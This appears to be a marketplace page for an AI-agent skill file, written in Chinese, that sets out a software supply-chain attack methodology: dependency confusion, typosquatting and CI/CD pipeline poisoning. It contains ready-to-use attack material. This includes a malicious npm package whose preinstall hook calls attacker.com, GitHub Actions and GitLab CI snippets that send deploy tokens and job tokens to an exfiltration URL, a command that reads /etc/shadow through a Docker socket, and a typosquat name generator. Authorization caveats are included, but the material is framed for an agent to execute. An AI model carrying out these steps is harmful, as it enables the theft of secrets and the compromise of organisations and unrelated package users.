supply-chain-attack
$
npx mdskill add wgpsec/AboutSecurity/supply-chain-attackExploit supply chain vulnerabilities in package managers and CI/CD pipelines.
- Identify dependency confusion and typosquatting risks in npm, PyPI, and Maven.
- Integrates with public registries and private repository scanning tools.
- Analyzes package names and version conflicts to prioritize attack vectors.
- Outputs actionable exploit steps for dependency confusion and CI/CD poisoning.
SKILL.md
.github/skills/supply-chain-attackView on GitHub ↗
---
name: supply-chain-attack
description: "软件供应链攻击方法论。当目标使用 npm/PyPI/Maven 等包管理器、有私有仓库、使用 CI/CD Pipeline 时使用。覆盖 Dependency Confusion、Typosquatting、恶意包发布、CI/CD 投毒、构建服务器攻击"
metadata:
tags: "supply-chain,dependency confusion,typosquatting,npm,pypi,cicd,pipeline,供应链,依赖混淆"
category: "exploit"
mitre_attack: "T1195.001,T1195.002,T1199"
---
# 软件供应链攻击方法论
> **核心思路**:不攻击目标本身,攻击目标信任的上游依赖/构建流程
## ⛔ 深入参考
- Dependency Confusion 详细利用步骤 → [references/dependency-confusion.md](references/dependency-confusion.md)
- CI/CD Pipeline 攻击向量 → [references/cicd-attack.md](references/cicd-attack.md)
---
## 攻击面识别
```
目标使用什么包管理器?
├─ npm (Node.js) → npmjs.com 检查
├─ PyPI (Python) → pypi.org 检查
├─ Maven (Java) → mvnrepository.com 检查
├─ NuGet (.NET) → nuget.org 检查
├─ Go modules → proxy.golang.org
├─ RubyGems → rubygems.org
└─ 容器镜像 → Docker Hub / 私有 Registry
目标有私有仓库?
├─ 是 → Dependency Confusion 首选
└─ 否 → Typosquatting / 已有包投毒
```
## Phase 1: Dependency Confusion(依赖混淆)
### 原理
```
企业内部包: @company/utils (版本 1.0.0, 私有仓库)
攻击者发布: company-utils (版本 99.0.0, 公共 npm)
如果包管理器优先从公共源拉取高版本 → 恶意包被安装
```
### 发现私有包名
```bash
# 1. 从目标网站 JS 中提取包名
curl -s https://target.com | grep -oE "from ['\"]@[a-zA-Z0-9/-]+['\"]"
curl -s https://target.com/main.js | grep -oE "require\(['\"][^'\"]+['\"]\)"
# 2. 从泄露的 package.json / requirements.txt
# GitHub/GitLab 搜索
# 目标开源项目的依赖文件
# 3. DNS 探测(某些私有 npm 使用 DNS CNAME)
dig +short _npmrc.target.com
# 4. 错误信息泄露
# 404 页面可能暴露内部包名
```
### 攻击执行(npm 示例)
```json
// package.json — 恶意包
{
"name": "target-internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/callback?pkg=$npm_package_name&host=$(hostname)"
}
}
```
```bash
# 发布到公共 npm
npm publish
# 等待目标 CI/CD 在下次构建时拉取
```
### 各包管理器差异
| 包管理器 | Confusion 条件 | 防御 |
|---------|--------------|------|
| npm | 无 scope(@) 前缀 + 无 .npmrc 锁定 | 使用 @scope + registry 锁定 |
| pip | 无 --index-url 锁定 + 无 --extra-index-url | 使用 --index-url 唯一源 |
| Maven | 无 mirrorOf 配置 | 使用 repository 白名单 |
| NuGet | 多源配置 + 无版本锁定 | 使用 nuget.config 锁定源 |
## Phase 2: Typosquatting(拼写抢注)
```bash
# 生成目标包的相似名称
# crossenv vs cross-env
# electorn vs electron
# cofee-script vs coffee-script
# Python 实现
python3 -c "
import itertools
pkg = 'requests'
typos = []
# 删除一个字符
for i in range(len(pkg)):
typos.append(pkg[:i] + pkg[i+1:])
# 替换相邻字符
for i in range(len(pkg)-1):
typos.append(pkg[:i] + pkg[i+1] + pkg[i] + pkg[i+2:])
# 增加常见后缀
typos.extend([pkg+'-python', pkg+'-py', 'python-'+pkg, pkg+'2', pkg+'3'])
print('\n'.join(set(typos)))
"
# 检查哪些名称在公共源上未被注册
# npm: npm view <name> 返回 404 = 可注册
# PyPI: curl -s https://pypi.org/pypi/<name>/json 返回 404 = 可注册
```
## Phase 3: CI/CD Pipeline 攻击
### 攻击向量
```
CI/CD 攻击面:
├─ 代码仓库
│ ├─ PR 注入(恶意 PR 修改 CI 配置)
│ ├─ Branch Protection 绕过
│ └─ Webhook 劫持
│
├─ 构建环境
│ ├─ 构建脚本注入(Makefile/Dockerfile/Jenkinsfile)
│ ├─ 环境变量窃取(secrets in env)
│ ├─ 构建缓存投毒
│ └─ 共享 Runner 逃逸
│
├─ 制品仓库
│ ├─ 镜像替换(tag 覆盖)
│ ├─ 包签名绕过
│ └─ 版本号抢注
│
└─ 部署环节
├─ 部署密钥窃取
├─ 配置注入(Helm values/Terraform vars)
└─ 运行时环境变量注入
```
### GitHub Actions 攻击示例
```yaml
# 恶意 PR 中修改 .github/workflows/ci.yml
# 或利用 pull_request_target 事件(在 base 上下文执行,可访问 secrets)
name: CI
on:
pull_request_target: # ⛔ 危险:在有 secrets 的上下文执行
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # 检出攻击者代码
- run: |
# 窃取仓库 secrets
curl -X POST https://attacker.com/exfil \
-d "token=${{ secrets.DEPLOY_TOKEN }}"
```
### GitLab CI/CD 攻击
```yaml
# .gitlab-ci.yml 注入
stages:
- build
build:
stage: build
script:
# 利用 CI/CD 变量窃取
- "curl https://attacker.com/exfil?key=$CI_JOB_TOKEN"
# 或利用共享 Runner 的 Docker socket
- docker run -v /:/host alpine cat /host/etc/shadow
```
## Phase 4: 恶意包载荷设计
```
安装时回调(验证攻击可达性):
├─ npm: scripts.preinstall / postinstall
├─ pip: setup.py install(setup() 执行时)
├─ Maven: maven-exec-plugin in pom.xml
└─ Go: init() 函数
⛔ 合法红队测试中:
├─ 只做 DNS/HTTP 回调确认可达
├─ 不窃取实际数据
├─ 不部署持久化
├─ 包中注明"This is a security test"
└─ 及时联系目标安全团队报告
```
## OPSEC 注意事项
```
供应链攻击的法律风险极高:
├─ ⛔ 未授权的 Dependency Confusion 可能构成犯罪
├─ ⛔ Typosquatting 公共包影响非目标用户
├─ ✓ 必须有明确书面授权
├─ ✓ 回调仅收集最小信息(包名+主机名)
├─ ✓ 包描述中注明安全测试
└─ ✓ 测试后立即撤下恶意包
```
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|